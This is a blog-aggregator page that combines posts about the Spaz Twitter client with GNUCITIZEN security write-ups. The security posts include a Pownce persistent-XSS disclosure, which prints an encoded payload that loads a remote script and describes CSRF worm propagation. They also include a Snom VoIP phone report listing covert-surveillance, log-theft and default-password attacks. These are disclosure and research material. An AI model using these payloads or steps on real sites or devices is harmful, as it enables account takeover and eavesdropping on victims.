My Security Planet » Tags

23 items tagged "Projects"

Related tags: My [+]

funkatron.com

Twitter’s ecosystem streamlining, and what it means for webOS devs

Posted: March 16th, 2011, 12:07pm CDT by funkatron

Tags: My Projects [edit]

I had a really fun time the other night on the webOSRoundup live podcast recording. We do it over Skype + UStream, so folks in the chat can watch us while we dick around and try to fix technical issues. I love doing stuff like this because I get to act like I know what I’m talking about – it’s a lot like this blog in that respect.

One of the major topics of discussion was a recent announcement to the Twitter developer community about the way users interact with Twitter, and where developers should focus their efforts. There were also updates to the API TOS, but that really didn’t change much. The “money quote” was in the letter, signed by Ryan Sarver, that went out:

…developers ask us if they should build client apps that mimic or reproduce the mainstream Twitter consumer client experience. The answer is no.

While follow-up discussion has basically been Twitter employees saying “oh, we didn’t mean that you can’t, just that you probably won’t make money doing it.” While the folks posting this probably believe that, I think the folks who actually control what Twitter does meant what was said. And what was said was “you should not make client apps,” and not “you probably won’t make money making client apps.”

A lot of people have asked if this means 3rd party client apps are banned. No, not at the moment. But Twitter’s overriding purpose is to make their investors money, and if it becomes more lucrative to ban 3rd party clients outright, or restrict API access to blessed or paying developers, I have no doubt the company will do so. People have short attention spans, and if Twitter is still around in 2 years, things may have changed enough where they don’t care so much that they can’t use Tweetdeck.

The second point that came up in this discussion was how this affects webOS. There is no official client on webOS, but there is a very active set of 3rd-party devs who work on clients, including myself with Spaz. Right now, I believe there’s no official client simply because Twitter doesn’t care about webOS. At the moment, webOS market share is too low to matter to them. When that changes, they will be more interested in it.

And rest assured, HP Palm wants an official client. It’s in a list of apps they want, like Netflix and Skype. If HP/P has to build it themselves and just have the approval of Twitter (Twitter certainly doesn’t build all their official clients in-house), they will – like they did with FaceBook.

What does that mean for the various independently-developed Twitter clients? Probably that they will need to be accept that their products will be niche. I’m speculating, but I suspect HP/P will not put much effort into promoting 3rd party clients. There’s a good chance an official Twitter app will be pre-installed as well, which means many (most?) users won’t bother looking in the App Catalog for another option.

Does that mean you’re screwed? No. But it means you’re gonna have to accept a role as a “hobbyist” rather than trying to make this your day job. As Alex Payne said:

Get cozy with [Twitter], or work at arm’s length. Operating in between the hobbyist and professional roles could be difficult, and developers may be understandably frustrated as they’re forced to rethink their projects and products

I suppose it’s possible that HP/P might pluck some lucky indie developer out of obscurity and bring them on to develop the official client. More power to that person if it happens. I hope you’ll enjoy removing features from your client and making space for ads.

Me, I’ll keep making Spaz, and improving its interoperability with other microblogging systems like the StatusNet-based Identi.ca. I’ve never made money on Spaz, and I like it that way — it keeps me focused on doing the right thing, not what will improve my financial position.

Luckily I can do that, but not everyone can, and those webOS developers who rely on their Twitter apps for income would be well-advised to consider whether their want to tie their success to a single company anymore — a company with which they have no financial relationship, and one that has clearly stated their intent to control the end-user market.
My Friend Twitter

Posted: April 10th, 2010, 11:42am CDT by funkatron

Tags: My Projects [edit]
Photo by Miscpix
This is going to make two blog posts in a row that are “off the cuff” for me. This one particularly so, because it involves a lot of emotion, and not a lot of certainty. There are some arguments to be made, but most of it is about how I feel. That’s something that’s hard to justify logically; it just is.

I’ve been frustrated with Twitter regarding how it relates to its developer community for several months now. My perspective might be different from some folks, I think, because I’ve been a part of that community for a long time. The Twitter Dev Talk Google Group shows me as joining on March 15, 2007. I remember being proud that I was asked to be a moderator for the group; it felt good to be both friends with some folks at Twitter, and a “Friend of Twitter” as someone from the company referred to me and a few others once.

It felt good because Twitter really seemed to make an effort to be open and transparent with their development community. We were part of what helped them get off the ground — not the biggest part by any means, but a part. At the time, the vibe I got from Twitter was that they were a group of people trying to build Cool Stuff. I liked that because I like building Cool Stuff too, for the sake of building it. It felt like it was being built by guys who had the same passion for making things that I do. I would hear that they really liked what I was doing in creating an open source, multi-platform client for Twitter; that it was important to have options like that.

Over the years I often found myself defending Twitter’s API team when folks would air their own frustrations. Some of those frustrations were valid, and some of them were based on really unrealistic expectations. I often said that it was foolish to build a business on top of Twitter, because (except in very rare circumstances) there was no guarantee of any service level of API feature permanence. Things were often pretty spotty back then in terms of uptime and performance; that frustrated a lot of people. But I had their back, ya know? I was a Friend.

Things grew, and things changed. That’s not really surprising at all. I’m happily naive of most things related to VC investment, but I suppose to keep up with all the traffic Twitter got as it became more popular, they needed money to pay for services and hire people. If you aren’t making any money, you need to ask people to give it to you. And now you have to worry about what they want, too.

In the past year or so, it felt like I was seeing a shift in how Twitter related to its developers. People move around in a big company, and that was surely part of it – I didn’t know all the New Dudes. And I had really withdrawn from the dev mailing list, because I was tired of dealing with spam and talking about uptime and downtime and social graphs and pagination limits.

But it got weirder when they announced Chirp, their “official developer conference.” Doing this event made sense, but I felt like some of their choices about who was speaking didn’t. I didn’t see guys like Cameron Kaiser, Abraham Williams, Marco Kaiser, JazzyChad, or Damon Cortesi listed as speakers. Instead, I saw execs, pundits, and VC investors.

Now I’ve been to a lot of developer conferences, both as an attendee and a speaker. And I’ve never seen a speaker lineup so devoid of actual developers. Anyone who knows me, knows that I generally believe pundits and VC investors (and execs to some extent) to be moronic at best, and pure evil at worst — corrupting the purity and passion for Making Cool Stuff.

Then there was how some stuff was handled. When Chirp was first announced in late January, before the speaker lineup was finalized, I inquired about speaking there myself. A friend suggested I talk about my experiences as an open source dev, and this seemed like a pretty darn good idea – I wanted to talk about what I’d learned, what motivates us as developers, and how we define success. So I made an official inquiry, and was told by a Twitter employee that they’d look into it and get back to me soon. I didn’t hear anything for a couple weeks, so I sent a follow-up, and was told that things were filling up on the main day (well, that’s why I asked early!) but that there might be an unconference opportunity. There’d be a public announcement about it in March.

Well, the conference is on April 15th. Not knowing until March what might happen is just not enough time to plan. And to buy a $450 ticket, and then hotel in SF, and then airfare; I just couldn’t afford that. Of course, it turns out that cheaper, hackday-only tickets would be made available, but these weren’t released until March 30, 15 days before the conference¹. Far too short notice, and by this time the speaker lineup described above was set, which indicated to me that this wasn’t a conference for developers like me.

So in this, I saw a pretty big chasm between where I was, and where Twitter was. Before then I hadn’t quite realized what it was like, but this kinda dumped on me like a ton of bricks. Getting a bit of the runaround hurt my ego, for sure, and that’s part of it. I don’t really think that’s a good reason to get upset, but I did feel like I had a longstanding relationship with Twitter, and through this, and the way Chirp was being presented, I didn’t feel like this was the same organization I’d interacted with for the past three years.

And, well, it wasn’t. They used to have 6 employees, and now they’re over 140. Duh.

So with all that, then we have Twitter dropping an enormous bombshell yesterday on their dev community, by creating official clients for both BlackBerry and iPhone. Twitter had done a few things before to add services that had previously been handled by third parties, but in general they’d had a very hands-off approach with the dev community, sticking with their core features and letting developers handle stuff like url shortening, photo uploading, and — most significantly — all non-web clients. Twitter has enjoyed a very diverse, very organic community of applications and services. Client apps that serve as primary user tools for interacting with Twitter are a very large part of that community. Twitter’s moves in that space have suddenly and dramatically changed the playing field for all of them.²

There was no warning, and there were no apologies. No statements made to developers that Twitter knew this was going to impact a lot of them; no attempt to unruffle feathers or explain how this was what Twitter needed to do as a company. We did get a couple notes on the dev list, but they could be summed up as follows: “it happened, now find other things to do.” That’s what angered me more than anything last night.

This really isn’t about my own client, Spaz. Spaz is not popular, and I doubt even having a directly-competing Official Client on desktop or webOS would impact its numbers – folks choose Spaz because they like it, and if they don’t that’s fine with me. Spaz exists as an alternative to closed source, commercial apps, and it’s even MORE important now that it exists, I think.

I guess it’s about respect. It’s about a relationship I had, and I think many of us had, with Twitter, that doesn’t seem to be there anymore. And that’s frustrating, and disappointing. But mostly I guess it’s just sad.
1. Curiously, this wasn’t announced on the API announcement mailing list or the twitter dev mailing list; in fact, there was very little information about Chirp posted there. Far more information was available on sites like TechCrunch. This made me wonder further at whom this conference was aimed. ↩
2. It would be naive to expect Twitter to not move into other platforms it decides are key to its experience. Or in any other services it decides to do internally. This is a very big reminder that we can only count on something for the term of the contract, and few of us have a contract with Twitter. ↩
An Open Source Milestone: Spaz webOS 1.0

Posted: December 29th, 2009, 3:01pm CST by funkatron

Tags: My Projects [edit]
I really don’t like to toot my own horn. Well, actually I do, but I’m also embarassed by it, so writing the title for this post was a bit painful. Nevertheless, I do think it’s accurate: Spaz webOS 1.0 is now available in the Palm App Catalog, and that’s a significant milestone for the project, and for open source on webOS.

I first started playing with webOS a year ago, over Christmas break at my day job. In June, Spaz webOS was in the App Catalog at release, and back then I was quite proud of the fact that we’d been able to ship a truly open source, transparent app on the first day of a new platform. And now, a year since I first cobbled together a Hello World in Mojo, Spaz has reached a reasonable level of maturity – at least as mature as something called “Spaz” will ever have.

Originally I was going to call this release v0.6. I am shy of using 1.0 because I am painfully aware of all the flaws in my software, and it certainly never feels “done” or “ready” to me. However, a recent discussion with Keith Casey led me to think more seriously about using the “1.0” designation – Spaz webOS is very much Safe To Use, but a pre-1.0 version might make some potential users to think otherwise.

And potential users are a bit more of a consideration now, because in a couple weeks (probably the week of January 11), Spaz webOS will start charging $2 for App Catalog downloads in the United States. This is something I’ve been planning for a while, but it’s still stepping out a bit, both for me (I’ve never charged for software before) and for open source software in general. To be clear, here’s how it will work:
1. Spaz webOS will cost $2 to download in App Catalog markets that support payments. Right now the only market that supports payments is the US. It will be free in all other markets.
2. Spaz will still be completely open source. The full source code will always be available.
3. I will not stop users from packaging and installing Spaz webOS themselves. In fact, I encourage it! I always need more testers, designers and developers. Hacking, patching, and messing with Spaz are fully endorsed. If you can’t help in one of these ways, consider donating to the SpazCore project.
4. Revenue made from paid App Catalog downloads will be used to support development and offset equipment and hosting costs. I’ve never made any money from Spaz, and despite some generous donations over the past couple years, I’m still well in the red. I don’t do this for the money (obviously), but lightening the burden and compensating myself and other people who have given their time for Spaz is reasonable, I think.
Another thing that isn’t changing is the principles that guide the Spaz project. I wrote up a statement of purpose a while, back, which I’ll replicate here:
1. Spaz was built for the sake of building it. It is not a means to an end. However, creating it has had several good consequences.
2. Spaz demonstrates that making things is good, and sharing how you make them is better.
3. Spaz is a necessary counter to closed, hidden technologies. Spaz must always be open.
4. The value of Spaz does not lie in the judgements of others, but in the process of building it, and the enjoyment derived by those who use it.
5. We welcome anyone who wishes to participate in the Spaz Project with open arms, as long as they understand and respect the purposes of the project.
6. The Spaz project values clear and open communication between participants.
This is how I think software should be made. If you agree, I hope you’ll consider supporting what we’re doing in a way you see fit. We always need help!

Thank you for making Spaz far more than I could have imagined.
Results of Spaz webOS Pricing Survey

Posted: July 31st, 2009, 12:40pm CDT by funkatron

Tags: My Projects [edit]
Photo by gusset
Yesterday I put together a short survey that asked some questions about what people would be willing to pay for Spaz webOS. It’s been my plan all long to change a small fee (when possible — you can’t yet in the Palm App Catalog) for Spaz webOS, and use the revenue to support further development. Since I believe strongly that Spaz must be an open, transparent project, here are the results so far from 145 responses:
- PDF of Spaz webOS Pricing Survey Response Summary data
…and here are some comments on the results:
What is the most you would pay to purchase Spaz in the Palm App Catalog?
From doing a little math on this, it seems like $2 is the optimal price point in terms of revenue generation, followed closely by $3.
- PDF of “revenue potential” data
What 1-3 features would make you more likely to purchase Spaz in the app catalog?
First off, lots of people ignored the request to pick 1-3, which isn’t surprising (you couldn’t set a max number of choices). That being said, 4 items were far and away the most popular choices
1. Faster Performance (56%)
  Spaz does seem to perform slower than comparable apps. Part of this is because we use a combined timeline, and therefore it takes longer to build results. We also initially requested a LOT more messages from Twitter at startup than comparable apps, and processing them takes more time. We’ve lowered the default numbers (you can up them in prefs), but it’s still higher.
  
  We’ve also had some CPU usage issues. Those have been dramatically lowered since initial release, but there’s probably more we can do. This shows up especially while processing new messages.
  
  The other issue I think this response refers to is sluggish scrolling speed. This one perplexes me a bit, but I’m guessing we may be running into performance limits of the Pre’s webkit renderer. We’re going to do some experiments with stripping out CSS styling and markup on our timelines to see if the scroll speed improves in either case. If so, we will need to modify how we style and/or build the markup for our timeline.
2. Direct uploading to image hosting services like Twitpic (54%)
  This was really close to #1, which tells you how badly the lack of direct file upload APIs in webOS is hurting devs. What’s most frustrating is that the email-based workarounds actually took longer to implement than direct uploads would — we already have plenty of code from the desktop app we could have adapted. Here’s another plead to Palm to please expose the file upload APIs to 3rd-party developers ASAP!
3. New message notifications even if the app is closed (42%)
  I’ve heard this a lot. I kind of assumed people would just leave an app open if they wanted it still running, but how I use things isn’t necessarily how others will. One consequence of implementing this will be reduced battery life, so we will need to be careful about it. Note that Palm recommends not doing background network requests more than 15min per hour. We won’t exceed that if and when we do implement this.
4. Facebook support
  This one kinda surprised me. I only added it as a bit of an afterthought, but I suppose it makes sense, especially since there’s not a good native Facebook app for the Pre. I actually know very little about the Facebook API and am not super duper excited about building for their walled garden, but if someone wants to build a SpazCore lib for it, we’ll probably implement something.
Also of note were some of the “Other” responses. They included:
- “More optimized code (use less cpu!)”
  This falls under Faster perf, fo sho.
- “tweet with google maps link to current location”
  This is on the list to get implemented
- “hit user pic in timeline to @reply”
  We’re going to implement something that lets you do actions on a message without going to the detail view. Kinda sucks right now.
- “low power consumption”
  The way you do that is to make fewer network requests. This responder will not want background checking, then 8)
- “more identica/laconica support”
  I’d like to see this happen too. If you want it to happen, volunteering to code a Laconica-specific API (or somehow scraping up funding to sponsor development) would help us out a lot. We don’t have time to do much with non-Twitter APIs right now.
- “Livejournal support”
  Seems like a microblogging client isn’t a good match for this, but if we add ping.fm support, you should be able to post to LJ through that. As for reading LJ posts, I think RSS feed support would allow that.
- “It needs a non-offensive name before I would purchase it anywhere”
  We had to get one of these, although I’m surprised we only got one in nearly 150 responses. It’s not changing. Read the FAQ. Sorry!
- “Since last 2 updates it really drains my battery. LOVE it’s look and feel though.”
  These are the kinds of things we need to get reported to us. Can’t fix it if you don’t report it. Go to our support site and file an issue, please. Please make sure Spaz is the only culprit involved, though.
- “Direct blip.fm support (streaming via clicking a link)”
  That would be interesting. If someone’s willing to look into it dev-wise, I have no issue with it.
- “Why? When tweed is free. And there’s more twitter apps to come.”
  No applications are allowed to charge for apps at the moment. That will change in the future, though. I wouldn’t assume Tweed will remain free, but I have no idea what their plans are.
- “Copy and paste”
  Talk to Palm, dude. 8)
- “Change the name!!!”
  Okay, maybe we got another one, but this didn’t claim I was making fun of physically or mentally disabled people. Sorry, not changing.
- “None”
  This surprised me a little. You could have written “shits money and cleans my house.” Surely that would make you more likely to buy it, yes?
Spaz 0.5.0 out now

Posted: July 9th, 2009, 3:31pm CDT by funkatron

Tags: My Projects [edit]

Spaz 0.5.0 went out to the Palm Pre App Catalog today. The coolest new thing is image posting support for TweetPhoto, Twitpic, yfrog and Twitgoo. While webOS still doesn’t have a generic file uploading service that third parties can use, these services support email posting of images, so we were able to build a workable solution using that. It’s not optimal, and as soon as webOS supports file uploads we’ll be there with support for even more services, but it works for the time being.

The other major enhancement in 0.5.0 is with notifications. Previously Spaz on webOS had just used “banner” notifications when new items were loaded, which appear and disappear quickly on the screen. Lots of users asked for what are called “dashboard” notifications in Spaz, though, which are like the ones you get with the email app: an icon is displayed in the corner of the screen, and if you tap it, a larger dashboard appears with more information. These notifications are persistent – they won’t go away until you dismiss them by swiping or tap on them to bring up the Spaz card.

All of these enhancements are available to other webOS developers as well. Because Spaz is open-source with a liberal New BSD-style license, you can use code from Spaz or the SpazCore libraries in your own apps. So if you want to do email-based photo posting to Twitter like Spaz does, you can! And although you are not obligated to tell us, if you do use our code, we’d love to hear about it.

As always, if you have problems, questions or suggestions, talk to us at our Tender-driven support site.

GNUCITIZEN

OWASP Europe 2008 Ghent

Posted: June 21st, 2008, 4:40am CDT by pdp

Tags: Projects [edit]

This year’s OWASP Europe event was based in Ghent, Belgium. I had to take an early train from London to Brussels, which is by the way dead easy. As usual the event was excellent.

Now there were a few funny things but the most funnies of all was that I’ve got flagged by Seba for having a sales pitch within my slides. Actually, my intentions were totally different. Moreover, it is silly to sell very niche services to wide-range of Web app guys. I will never do that. Not to mention I don’t have to do that. So my apologies for the confusions, it was meant to be funny, not rude.
RISK 2008 Oslo

Posted: June 21st, 2008, 4:21am CDT by pdp

Tags: Projects [edit]

I need to do a lot of clean up work around all my projects. So, expect a series of quick posts which a meant to fill the gaps.

Here you will be able to find my slides from a quite cool event in Oslo. The topic is Web2.0 again. I know what you are thinking: But pdp, aren’t these the same topics over and over again? Well, the good thing of having a blog is that you release things hot from the oven. Therefore, you have to compensate somewhere else.

The event was quite successful and I am looking forward to attending it again. Not to mention that Oslo was just brilliant compared to the bad weather in UK.
CONFidence 2008

Posted: May 20th, 2008, 4:03am CDT by pdp

Tags: Projects [edit]

CONFidence was great! We would like to thank to Andrzej, Anna and everybody else in the CONFidence team for making this event one of the greatest experiences of a lifetime. Thanks again. We are looking forward for the next event. :)

There were many interesting presentations. We’ve tried to attend all of them although it was really hard to do so when the weather in Krakow was so nice (very different from the weather conditions in cloudy/rainy London). As usual, Adrian and I presented our Cracking into Embedded Devices and Client-side Security talks. However, Adrian had some human vulnerabilities in his slides. All of them were zero-days. I suggest to check them out. I had no human vulnerabilities but I showed the video of the QuickTime exploit for Vista and XP so I guess we are even technically-wise, although I prefer the human exploits to be honest.

Anyway, the client-side security slides can be downloaded from here. The embedded devices cracking slides can be downloaded from here. And of course, if you want to see some of the pictures from the event, you can visit House of Hackers and check the CONFidence 2008 album. I am sure that everybody enjoyed the event as much as we did.
HITB Dubai 2008

Posted: April 24th, 2008, 9:23am CDT by pdp

Tags: Projects [edit]

The Hack in the Box (HITB) conference that took place in Dubai, was all in all great fun. I would like to personally thank Dhillon, Belinda, Amy and everybody else from the HITB crew for making this event possible and making sure that everybody had a good time. The devil is in the details and this is what makes HITB the best conference in Asia and the middle-east region. I am anxiously looking forward to HITB KL.

It is needless to say that we’ve made a lot of friends, talked to some of the best minds in the security world, and even had the chance to present ourselves. Adrian presented his talk on Cracking into Embedded Devices for the first time. You can check his slides over here. I repeated my Client-side hacking talk from Black Hat Europe 2008 but with a few modifications. You can check the slides from here. The actual paper can be downloaded from here.

Again, the event was great. The amount of effort the HITB crew put into the preparation was evident all the way till the end. We highly recommend to attend any of the following HITB events as they are very much worth it.
Black Hat Europe 2008

Posted: April 22nd, 2008, 10:11am CDT by pdp

Tags: Projects [edit]

The Black Hat Europe 2008 event took place on the 27th and 28th of March. In this post, you will be able to find information regarding my talk and research.

My presentation was titled Client-side Security. Here is the abstract:

Client-side software generally refers to a class of computer programs that are executed on the client, by the user’s supporting environment, instead of the server. Both clients and servers are in constant interaction. In a Web environment, the client is represented by the user’s web browser, while the server is the remote computer which serves dynamic content. In a much broader context, the client-server relationships can be represented by a network client connected to a WiFi network.

This paper[/presentation] describes numerous techniques for attacking Clients-side technologies. The content of the paper is based the research that has been conducted over the past year by the GNUCITIZEN Ethical Hacker Outfit.

The event was very interesting and very well organized. I met a lot of people and had very interesting discussions all together. You can download the conference materials from here. The paper is located here and the slides over here. If you have any questions regarding my talk, please let me know.

funkatron.com

This week in search terms

Posted: February 18th, 2008, 7:42pm CST by funkatron

Tags: My Projects [edit]
I use a service called 103bees to track what search terms and questions are directing people to Funkatron.com. Here’s this week’s selections:
Search terms
- lil wyte photo
  
  I have no idea.
- download hardly wait juliette lewis
  
  I really like that version of the PJ Harvey song, as sung by Juliette Lewis in the film Strange Days
- free .mac account mail only
  
  Not here!
- funkatron twitter air
  
  Presumably someone who heard Spaz mentioned on MacBreak Weekly
- visualize kcachegrind os x
  
  I think I posted about how much of a gigantic pain in the ass this was to get running on OS X.
- ghetto fackin
  
  mmmmm no.
- spry click tab reload data
  
  I have talked about Spry a fair bit here, so I guess that makes sense.
- matt sink
  
  No idea
- debian parallels tools
  
  Ah, I did make a post about getting Debian running on Parallels. Or more accurately, the fact that I got it running
- spaz app
  
  I’ve heard of this
Questions
- how to use monospace fonts in illustrator cs2
  
  I’ve posted a tip about rounded rect corners in Illustrator, and monospaced fonts for programming
- what are the things on my penis
  
  Can’t help you, bro. I did write once that I’m scared to put things in my penis, tho.
- php 6 when is coming out
  
  I don’t know when, but I know why I’m looking forward to it!
- what are the chances of getting tax audited
  
  I reposted something about this.
- there was an error: typeerror: undefined value flickr mac os x
  
  Pretty much every app I’ve ever written has tons of errors in it, so this could be anything.
This week in search terms

Posted: February 18th, 2008, 7:42pm CST by funkatron

Tags: My Projects [edit]
I use a service called 103bees to track what search terms and questions are directing people to Funkatron.com. Here’s this week’s selections:
Search terms
- lil wyte photo
  
  I have no idea.
- download hardly wait juliette lewis
  
  I really like that version of the PJ Harvey song, as sung by Juliette Lewis in the film Strange Days
- free .mac account mail only
  
  Not here!
- funkatron twitter air
  
  Presumably someone who heard Spaz mentioned on MacBreak Weekly
- visualize kcachegrind os x
  
  I think I posted about how much of a gigantic pain in the ass this was to get running on OS X.
- ghetto fackin
  
  mmmmm no.
- spry click tab reload data
  
  I have talked about Spry a fair bit here, so I guess that makes sense.
- matt sink
  
  No idea
- debian parallels tools
  
  Ah, I did make a post about getting Debian running on Parallels. Or more accurately, the fact that I got it running
- spaz app
  
  I’ve heard of this
Questions
- how to use monospace fonts in illustrator cs2
  
  I’ve posted a tip about rounded rect corners in Illustrator, and monospaced fonts for programming
- what are the things on my penis
  
  Can’t help you, bro. I did write once that I’m scared to put things in my penis, tho.
- php 6 when is coming out
  
  I don’t know when, but I know why I’m looking forward to it!
- what are the chances of getting tax audited
  
  I reposted something about this.
- there was an error: typeerror: undefined value flickr mac os x
  
  Pretty much every app I’ve ever written has tons of errors in it, so this could be anything.

GNUCITIZEN

30mins Introductionary Presentation on Client-side Security

Posted: February 17th, 2008, 5:07am CST by pdp

Tags: Projects [edit]

I was asked to have a 30 minutes long introductionary presentation on client-side security issues. Although the presentation is very basic and high-level oriented, as it was designed to serve as an overview rather then as an in depth analysis, I thought that, still, someone may find it useful or may use it in their own works.

The PDF, PPT and ODT files are attached at the bottom. Let me know if it works for you.
The Pownce Worm (Yet Another Potential AJAX Worm)

Posted: February 13th, 2008, 2:31am CST by pdp

Tags: Projects [edit]
First of all I need to let you know that it is not within our practice to disclose vulnerabilities on specific online applications. However, given the fact that Pownce, the vendor, was responsibly informed and the fact that we believe that the issue is interesting enough to be discussed, we’ve decided to let you know about our findings. First of all, what’s Pownce:

Pownce is a social networking and micro-blogging site started by Internet entrepreneurs Kevin Rose, Leah Culver, Daniel Burka, and Shawn Allen. Pownce is centered around sharing messages, files, events, and links with already-established friends. Much like Twitter.

Here is the story: A couple of days ago I was interested in putting together some research on client-side vulnerabilities found within Adobe AIR applications. The material was supposed to go into my Black Hat talk, which is happening on 27-28 March, btw. I’ve heard that Pownce’s IM client uses Adobe AIR, so I thought that this could be a perfect example I can make use of. Although, there are some very obvious vulnerabilities within the client, which I’ve tested offline btw, I noticed that parts of the requests delivered from the server does not seem to be sanitized at all. After further investigation, I noticed that my personal profile is vulnerable to attack known as Persistent Cross-site Scripting, which is the most serious type of all Cross-site Scripting attacks.

The Cross-Site Scripting condition occurs within a very obscure place and it is restricted to 16 characters. Because of the space restrictions, I was able only inject things like <script>alert(1) and this was pretty much it. Obviously, this is not enough for even an alert(1) command, so other methods for execution were needed in order to make the vector successfully exploitable.

After scratching my head for a few minutes, I figured out that there is user-supplied data between the area of injection and the bottom of the page. Though, the input fields that control that data successfully sanitize HTML meta characters. Although, we are restricted in terms of space, attackers can make use of limited XSS injection issue combined with the extra sanitized user-supplied data in order to cause a successful persistent Cross-site Scripting. Let’s examine the following diagram:
```
[html junk]

  [point of injection; 16 chars max]

[html junk]

  [correctly sanitized, safely rendered user-supplied data]

[html junk]
```
So, in order to store the attack, we need to inject something within the 16 characters that will make the rest up to the [correctly sanitized, safely rendered user-supplied data] block under the attacker’s control. Here how it is done:
[html junk] */<script>/* [html junk] */ XSS Payload which does not need to contain HTML meta characters /* [html junk] Do you see the magic? After the <script> tag we start a JavaScript comment block (/*). The block continues down the page source code until it reaches the character */ which are part of the [correctly sanitized, safely rendered user-supplied data] block. This user-supplied field is much bigger and contain up to 160 characters, which is enough for injecting an external script, which on its own can deliver as much malicious functionalities within the infected profile as needed. Let’s examine the diagram of demonstration attack which I wrote and deliberately made it work only for Firefox and limited to the logged in user which profile was affected: [html junk] */<script>/* [html junk] */document.write(atob(/PHNjcmlwdCBzcmM9Imh0dHA6Ly9ja2Vycy5vcmcvcyI+PC9zY3JpcHQ+PCEtLQ==/.toString().substr(1,56)));/* [html junk] There you go. The Injection Point and the XSSed profile look like like screens bellow: Unfortunately there is more to that. The profile page is also vulnerable to Cross-site Request Forgery attacks. This means that if the user is logged in and he/she visits a malicious site, they will get infected permanently with the provided evil logic. I am not planning to spend time explaining why is that a problem. The AJAX Worms The first question is whether the vulnerability is wormable. Obviously, it is. Not to mention that it is even trivially exploitable via CSRF. This means that attackers would have probably initiated two different strategies. The first one will be kind the typical AJAX Worm implements, i.e. propagate through profile infections. The second strategy is weirder. Because each profile can be easily modified via CSRF, attacker would have launched a gigantic campaign in which hundreds upon thousands of malicious links will be spread across the network. Once unaware users visit them, they will get exploited and their account will be infected with the worm code. By using both strategies simultaneously, attackers can reach a network domination before the good guys find out what’s going on. The good thing is that we caught the problem before becoming a disaster. Disclaimer GNUCITIZEN is a Cutting-edge, Ethical Hacker Outfit, Information Think Tank, which primarily deals with all aspects of the art of hacking. GNUCITIZEN’s work has been featured in established magazines and information portals, such as Wired, Eweek, The Register, PC Week, IDG, BBC and many others. The members of the GNUCITIZEN group are well known and respected experts in the Information Security and Negative Public Relations (PR) Industries, with widely recognized experience in the government and corporate sectors and the open source community.



	
	
		
	
	
	
	
	Total surveillance made easy with VoIP phones
	
	Posted: February 11th, 2008, 4:03pm CST by .mario
	
	
	
	
		Tags: 
		Projects  
		
		[edit]
		
	
	
	
		

Remember the article about call jacking with the BT Home Hub? Here is something comparable but pretty new. Since Ronald and pdp had announced the router hacking challenge, I’ve decided to play around a little bit and as a result I’ve managed to find a rather interesting issue. Although not directly related to the router hacking contest, the results I’ve got were rather disturbing and made me get a totally new view on the VoIP phone security landscape.

Most modern VoIP phones come with a Web interface which you can use for administrative purposes mainly. The user can adjust the device’s settings, like change the display messages, maintain the address books and on some models even make phone calls from the Web interface. Since the device we’ve tested supports that particular functionality (call a number via a simple POST request) I’ve decided to have a look at the markup a little bit closer, not knowing what hornet’s nest I was eventually going to stir up. The device we are talking about is the Snom 32x - a pretty common device that can be found in several medium and large offices.

The Web interface of the Snom 32x VoIP phone suffers from many vulnerabilities that may cause financial and reputation trouble for the organizations that trusts them in their network. The vulnerabilities are based on common attack vectors, such as XSS and CSRF.

It is essential to keep in mind that, in order to attack the Snom 32x Web interface, the attacker requires knowledge of its IP address. This knowledge can be obtained by using a XSS Intranet scanning technique or via a plain guessing/bruteforce method. By looping through several IP addresses with JavaScript, looking for URLs like http://xxx.xxx.xxx.xxx/img/logo2.gif, we can easily locate the Web interface of the device. Of course a quick nmap scan delivers equivalent results with more ease and less time required. It is important to note that some networks use predictable names which also can also be used to pin-point a vulnerable device.

After discovering the device the attacker has several possibilities for evilness. Let’s have a look at some of them:


call arbitrary people via the Web interface via the means of CSRF.
make the call history invisible by calling a number like "'); which causes the Flash application displaying the most recent calls to crash.

steal the phone history from the logs including any other details attached to the calls via XHR.
poison the address book with a persistent XSS - the name is encoded correctly but not the phone number.
inject a JavaScript worm to gain total control over the user by changing the visible output by performing XHR-CSRF attack.
change the settings of registered phones, including the displayed text on the phone’s display.
Last but not least, monitoring the victim by making a phone call to the attacker’s number, who in tern will accept the call and recording the incoming sound. Note that the phone doesn’t give any noticeable feedback (ring tones, etc) while the victim was kept under surveillance. Keep in mind that the victim pays for the call.


It is also important to note that:


None of the tested forms use tokens or other methods to make it harder to perform CSRF attacks against the Web interface.
The phone comes with a default password, which is 0000. You can pick this information from Google.


Let’s have a look at a proper scenario. If the attacker knows the IP of the device’s Web interface he/she can disable and/or hijack the whole phone within a few minutes. By crafting a XSS-CSRF vector he/she can inject a persistent XSS into the address book. When the victim visits the phone book, the XSS worm is silently executed and the attacker gains a total control over the interface and the actions that will be performed in the future. This also circumvents any protection mechanisms like VPN or comparable network layers, etc. And yes, in the worst case scenario the attacker will be able to survey the sound in the room in and cleanup the logs afterwords.

The whole device seemed to be especially designed for these issues to work. It is not like the situation where a small design flaw endangers the entire security model like many other cases. This time almost any available feature was buggy and vulnerable, and it kind of seems like a wonder that those phones are shipped all over the world and nothing major have happened yet. I’ve tried to patch the phone with the latest firmware but that didn’t work - the phone was  temporarily disabled after the process and when it began responding again the firmware version was still the same. So, even if there are patches for those devices they sometimes can’t be used at all. It is very probable that other phones from other companies have the same or at least similar issues, so don’t consider this post as a blame on a certain company. We’d rather point out severe issues that kind of compare to Web hacking scene in the nineties and have them fixed urgently - no matter what phone is used or which company have built it.

Please check the VoIP devices that you use and verify that the Web interfaces implements strong passwords and enforces some minimum security level. Contact the company who built the device and do bug them with you concerns. This will help generating a less dangerous situation for you and other VoIP phone users. Vulnerabilities like the one mentioned above could cost you or your company great amounts of money, reputation loss and even large scale information theft.

The proof of concept  (POC) code can be found over here (please use it responsibly):

[www.gnucitizen.org]

… and some supporting screenshots follow here:








download: POC

Snom has been contacted in several ways but we haven’t got any responded yet. We will keep you posted about any news. Feel free to comment - we are very looking forward discussing those issues more in depth.

update: 14 Feb 2008

We’ve received a response from Snom. This is what they say.

To prevent this we will take the following measurments:


We will publish an article on “how to make your snom phone saver” on our website (including a link to it on the start page)
We will send out a newsletter to all our registred VARS and distributers with this information
We will work on the FW to improve security (just checked, on FW Ver. 7 the Flash applet is disabled by default)
We will publish a new email adress, for security matters (mostlikly security@snom.com), which goes to a bunch of people (including me).


We are thankful for letting us know about your future plans.
	


	
	
		
	
	
	
	
	Router Hacking Challenge
	
	Posted: February  3rd, 2008, 10:15am CST by pdp
	
	
	
	
		Tags: 
		Projects  
		
		[edit]
		
	
	
	
		We want you to hack your router! Yes, You. We want you to hack your router and make your findings public on this very same page, the sla.ckers forum or at hackerwebzine[at]gmail[dot]com. The best and most interesting hacks will receive credit, a lot of attention and good media coverage.



